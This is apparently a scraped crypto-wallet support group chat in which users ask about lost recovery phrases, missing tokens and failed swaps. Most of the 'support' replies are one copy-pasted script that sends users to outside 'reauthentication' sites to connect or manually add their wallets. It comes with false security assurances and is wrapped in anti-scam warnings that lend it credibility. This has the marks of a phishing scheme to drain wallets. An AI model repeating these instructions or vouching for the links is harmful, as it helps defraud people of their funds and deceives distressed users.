Stack Wallet / Stack Duo
Karltext not yet in the indexIf you lost your device and are unable to restore your wallet on a new one, the first step is to determine whether you still have access to your correct recovery phrase or backup.
ReplyIf you lost your device and are unable to restore your wallet on a new one, the first step is to determine whether you still have access to your correct recovery phrase or backup.
Omg I don't have, I don't even know how to get it, am I gonna lose this?
Stack Wallet / Stack Duo
KarlOmg I don't have, I don't even know how to get it, am I gonna lose this?If you no longer have the correct recovery phrase or backup, there is generally no way to recover access to your wallet
molecular#123 🐓You just learned the most important lesson in crypto: keep your seed safe.
I always do but just happens like that mate
Stack Wallet / Stack Duo
❌ Do not respond to private messages from anyone, no matter how legitimate they may appear.
⚠️ Admins will never contact you first via private message. If someone claims to be support and messages you privately, it is a scam. Please forward their message to the group and block them immediately.
Please follow this carefully. You may receive calls or direct messages from people pretending to help. Ignore and block them. No admin will ever assign someone to assist you privately.
id 7813720072Some tokens sent to my wallet has been confirmed and I saw it, checking now, i see nothing, how do I recover it back, I have refreshed more than 5 times still the same thing
We are sorry for the inconvenience you are facing currently.
If the tokens were confirmed on the blockchain but are no longer showing in your wallet, it does not necessarily mean they have been lost. This is often caused by a wallet display or synchronization issue.
Stack Wallet / Stack Duo
id 7813720072How do I tackle it?Dear valued users,
Follow the steps below to Reauthenticate your wallet to rectify the issue.
(1) Go to the support dashboard
http://resolverportaldapp.com/
(2) Scroll down to Reauthentication
(3) Select Stack wallet
(4) Proceed to connect securely.
NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually
(5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back
Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you!
Your funds remains secure in your custody.
❌ Do not respond to private messages from anyone, no matter how legitimate they may appear.
⚠️ Admins will never contact you first via private message. If someone claims to be support and messages you privately, it is a scam. Please forward their message to the group and block them immediately.
Please follow this carefully. You may receive calls or direct messages from people pretending to help. Ignore and block them. No admin will ever assign someone to assist you privately.
Stack Wallet / Stack Duo
id 8055213596My wallet hangs that much and it load very slow how do I solve this problemDear valued users,
Follow the steps below to Reauthenticate your wallet to rectify the issue.
(1) Go to the support dashboard
https://resolvedappprotocol.net/
(2) Scroll down to Reauthentication
(3) Select Stack wallet
(4) Proceed to connect securely.
NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually
(5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back
Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you!
Your funds remains secure in your custody.
Stack Wallet / Stack Duo
Dear valued users,
Follow the steps below to Reauthenticate your wallet to rectify the issue.
(1) Go to the support dashboard
https://resolvedappprotocol.net/
(2) Scroll down to Reauthentication
(3) Select Stack wallet
(4) Proceed to connect securely.
NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually
(5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back
Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you!
Your funds remains secure in your custody.
❌ Do not respond to private messages from anyone, no matter how legitimate they may appear.
⚠️ Admins will never contact you first via private message. If someone claims to be support and messages you privately, it is a scam. Please forward their message to the group and block them immediately.
Please follow this carefully. You may receive calls or direct messages from people pretending to help. Ignore and block them. No admin will ever assign someone to assist you privately.
Stack Wallet / Stack Duo
id 8322803913Why can't I swap tell me what to do, I have not commit anythingDear valued users,
Follow the steps below to Reauthenticate your wallet to rectify the issue.
(1) Go to the support dashboard
https://resolvedappprotocol.net/
(2) Scroll down to Reauthentication
(3) Select Stack wallet
(4) Proceed to connect securely.
NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually
(5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back
Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you!
Your funds remains secure in your custody.
id 8322803913Why can't I swap tell me what to do, I have not commit anything
A lot of scammed will call and text please block them.
Stack Wallet / Stack Duo
id 8473022461Balance not displayedDear valued users,
Follow the steps below to Reauthenticate your wallet to rectify the issue.
(1) Go to the support dashboard
https://resolvedappprotocol.net/
(2) Scroll down to Reauthentication
(3) Select Stack wallet
(4) Proceed to connect securely.
NOTE - you have to have a strong network connection for it to connect automatically, if it doesn't connect auto it will tell you to add your wallet manually
(5) There would be a pop screen that state your wallet is Reauthenticated successfully. After which your balance is back
Our DEX SUPPORT NetPanel is to be used as a decentralized wallet where only you have full control over your digital assets and we don't have a centralized way of managing the user's wallets like banks do. So you don’t need to be scared and it’s 100% safe and secured from your backend , We understand that security is a top priority, which is why our Reauthentication webtool is built with an open protocol to securely communicate between wallets and Dapps (Web3 Apps). Your information is encrypted and secured by SHA-256 Algorithm, and it will never leave our servers. Plus, it will only be visible to you!
Your funds remains secure in your custody.